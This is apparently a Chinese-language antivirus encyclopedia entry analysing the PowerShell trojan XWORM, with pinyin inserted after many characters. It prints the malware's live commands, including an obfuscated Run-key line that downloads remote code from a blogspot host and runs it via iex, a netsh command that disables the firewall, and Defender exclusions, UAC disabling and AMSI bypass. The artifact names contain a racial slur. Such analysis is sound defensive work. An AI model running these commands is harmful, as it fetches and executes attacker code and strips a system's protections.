Trojan.PS1.XWORM.AB

它以文(wén)件的形式出现在系统中(zhōng)，可(kě)能(néng)是其他(tā)恶意软件投放的，或者是用(yòng)户在访问恶意网站时无意中(zhōng)下载的。

新(xīn)病毒详细信息

它以文(wén)件的形式出现在系统中(zhōng)，可(kě)能(néng)是其他(tā)恶意软件投放的，或者是用(yòng)户在访问恶意网站时无意中(zhōng)下载的。

安(ān)装(zhuāng)

它添加下列文(wén)件夹：

• %ProgramData%\nipplesnigger → Deletes afterwards

它植入下列文(wén)件：

• %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → Deletes afterward

它添加下列进程：

• netsh.exe advfirewall set allprofiles state off -ErrorAction Silently Continue

自启动技(jì )术

它添加下列注册表项，在系统每次启动时自行执行：

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti1 = schtasks /run /tn lexerti1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)

其他(tā)系统修改

它添加下列注册表项：

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
(Default) = C:\IDontExist.dll

它修改下列注册表项：

HKEY_LOCAL_MACHINE\Software\Microsoft\
CurrentVersion\Policies\System
EnableLUA = 0

(Note: The default value data of the said registry entry is 1.)

进程终止

它终止在受感染的系统内存中(zhōng)运行的下列进程：

• RegSvcs
• Mshta
• Wscript
• Msbuild

其他(tā)详细信息

它添加下列注册表键值:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32

该程序执行以下操作(zuò)：

• Terminates process containing .bat.exe in its process name
• Deletes files in the following folders:
  • %Application Data%
  • %Public%
  • %User Startup%
  • with the following extensions:
  • .bat
  • .ps1
  • .lnk
  • .bat.exe
  • .cmd
• Deletes files in the following folders:
  • %Public%
  • %Application Data%
  • %ProgramData%
  • with the following extension:
  • .vbs
• Exclude the following in Windows Defender scans:
  • Extensions:
  • .ppam
  • .xls
  • .docx
  • .vbs
  • .js
  • Drives:
  • C:\
  • D:\
  • E:\
  • Processes:
  • explorer.exe
  • kernel32.dll
  • aspnet_compiler.exe
  • cvtres.exe
  • CasPol.exe
  • csc.exe
  • Msbuild.exe
  • ilasm.exe
  • InstallUtil.exe
  • jsc.exe
  • powershell.exe
  • rundll32.exe
  • conhost.exe
  • Csript.exe
  • mshta.exe
  • cmd.exe
  • DefenderisasuckingAntivirus
  • wscript.exe
  • IP Address:
  • 127.0.0.1
• Disable Windows Defender
• It bypasses the Antimalware Scan Interface (AMSI).

(注意: %User Startup% 是当前用(yòng)户的启动文(wén)件夹，通常位于 C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup (Windows 98 和 ME)、C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup (Windows NT)、C:\Documents and Settings\{User name}\Start Menu\Programs\Startup (Windows 2003(32-bit)、XP、2000(32-bit)) 和 C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit))。)